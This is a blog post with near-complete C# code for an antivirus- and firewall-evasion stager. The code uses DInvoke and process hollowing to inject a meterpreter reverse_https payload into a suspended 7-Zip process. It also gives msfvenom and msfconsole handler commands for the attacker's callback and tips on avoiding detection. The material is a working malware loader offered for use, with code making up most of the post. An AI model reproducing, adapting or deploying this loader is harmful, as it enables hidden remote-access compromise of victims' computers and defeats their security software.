Use DInvoke & Process Hollowing to bypass AV and Firewall
Last updated
In a previous post I described how to create a stager executable that implements DInvoke and can achieve an undetected meterpreter session with the help of a python server. Since the results where very promising regarding the detection rates and the session was not detected even after loading external modules such as kiwi, I decided to do some extra modifications and tests.
A very interesting result came by implementing process hollowing using DInvoke in order to bypass both the 'Antivirus' as well as the 'IDS/Firewall' part of Avira Internet Security. The thing is, that, Avira IS by default will block internet access to applications that are considered 'Not Trusted', such as not signed or well known executables. For this reason the user has to specifically click 'Allow' for the connection to take place so as to obtain a meterpreter session (after clicking 'Allow' the session is established and operates unhindered).
The good news is that this can easily be bypassed by implementing process hollowing or shellcode injection using DInvoke. In this post I will demonstrate how to use the process hollowing technique since shellcode injection is rather simple.
If you want to understand how process hollowing works you can seethis postandthisfor a basic example of DInvoke.
This time I have combined the required code files from RastaMouse's repo into a single project so as to build a single executable and avoid the overhead of embedding the DLLs to the final program. If you want to reduce the surface even further you can remove methods that have zero references.
The main part of the program can be seen below. As always there are comments to explain the main steps:
using System;
using System.Runtime.InteropServices;
using System.IO;
namespace Stager_DInvoke_ManualMap
{
internal class Program
{
//******************************************************
//Structures and delegations are removed for ease of viewing
//For the complete source check the github repo at the end
//******************************************************
static void Main(string[] args)
{
PE.PE_MANUAL_MAP kern32DLL = new PE.PE_MANUAL_MAP();
kern32DLL = Map.MapModuleToMemory(@"C:\Windows\System32\kernel32.dll");
PE.PE_MANUAL_MAP ntdllDLL = new PE.PE_MANUAL_MAP();
ntdllDLL = Map.MapModuleToMemory(@"C:\Windows\System32\ntdll.dll");
var pa = new SECURITY_ATTRIBUTES();
var ta = new SECURITY_ATTRIBUTES();
var si = new STARTUPINFOEX();
si.StartupInfo.cb = (uint)Marshal.SizeOf(si);
var pi = new PROCESS_INFORMATION();
//Note the sixth value CREATE_SUSPENDED
//According to https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags:
//"The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called."
//Avoid svchost.exe, explorer.exe etc
object[] parameters = { @"C:\Program Files\7-Zip\7zFM.exe", null, pa, ta, true, (uint)PROCESS_CREATION_FLAGS.CREATE_SUSPENDED, IntPtr.Zero, Directory.GetCurrentDirectory(), si, pi};
Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, "CreateProcessW", typeof(CreateProcessWD), parameters, false);
//Since we are using dynamic invocation we have to repopulate the structure with the returned value from CreateProcessW
pi = (PROCESS_INFORMATION)parameters[9];
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
//The third argument, bi (PROCESS_BASIC_INFORMATION) structure, will be populated with the PEB address
object[] zqparameters = { hProcess, 0, bi, (uint)(IntPtr.Size * 6), tmp };
Generic.CallMappedDLLModuleExport(ntdllDLL.PEINFO, ntdllDLL.ModuleBase, "ZwQueryInformationProcess", typeof(ZwQueryInformationProcessD), zqparameters, false);
//Again due to DInvoke we have to repopulate the structure with the returned value from ZwQueryInformationProcess
bi = (PROCESS_BASIC_INFORMATION)zqparameters[2];
//This is a pointer to the location where the process base address is stored
IntPtr PtrToProcBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
//We read the value pointed to by PtrToProcBase in order to get the process base address
byte[] tempbuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
object[] rpparameters = { hProcess, PtrToProcBase, tempbuf, tempbuf.Length, nRead };
Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, "ReadProcessMemory", typeof(ReadProcessMemoryD), rpparameters, false);
IntPtr targetProcBase = (IntPtr)(BitConverter.ToInt64(tempbuf, 0));
//We add 0x3C to the base address and read the value in order to get the offset of the PE headers from the process base address
byte[] tempbuf1 = new byte[IntPtr.Size];
object[] rp2parameters = { hProcess, targetProcBase + 0x3C, tempbuf1, tempbuf1.Length, nRead };
Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, "ReadProcessMemory", typeof(ReadProcessMemoryD), rp2parameters, false);
Int32 OffsetOfPEHeaders = BitConverter.ToInt32(tempbuf1, 0);
// We add 0x28 to the PE headers and read the value in order to get the offset of the entry point
byte[] tempbuf2 = new byte[IntPtr.Size];
object[] rp3parameters = { hProcess, targetProcBase + OffsetOfPEHeaders + 0x28, tempbuf2, tempbuf2.Length, nRead };
Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, "ReadProcessMemory", typeof(ReadProcessMemoryD), rp3parameters, false);
uint OffsetOfEntryPoint = BitConverter.ToUInt32(tempbuf2, 0);
//Now that we have the offset of the EntryPoint we can add it to the process base address to get the absolute address
IntPtr pEntryPoint = (IntPtr)(OffsetOfEntryPoint + (UInt64)targetProcBase);
//msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth0 LPORT=443 -f csharp
//TRUNCATED
byte[] buf = new byte[740] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b
0xff,0xd5};
object[] wpparameters = { hProcess, pEntryPoint, buf, buf.Length, nRead };
Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, "WriteProcessMemory", typeof(WriteProcessMemoryD), wpparameters, false);
//Resume thread will essentially invoke the shellcode
object[] rtparameters = { pi.hThread };
Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, "ResumeThread", typeof(ResumeThreadD), rtparameters, false);
Console.ReadLine();
}
}
}
Make sure to choose the target process wisely because common options such as explorer and svchost get detected.
As for today the plain shellcode compiled within the exe is not detected, but if it does, you can use the metasploit encoders or custom encryption & decryption within the program.
I used the reverse_https payload with a custom certificate. You can generate your own using the following commands in kali:
openssl req -new -x509 -nodes -out cert.crt -keyout priv.key
cat priv.key cert.crt > mycert.pem
#Edit /etc/ssl/openssl.cnf and change this 'CipherString=DEFAULT@SECLEVEL=2' to 'CipherString=DEFAULT'
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set lport 443; set HandlerSSLCert /home/path/to/mycert.pem; set lhost eth0; exploit"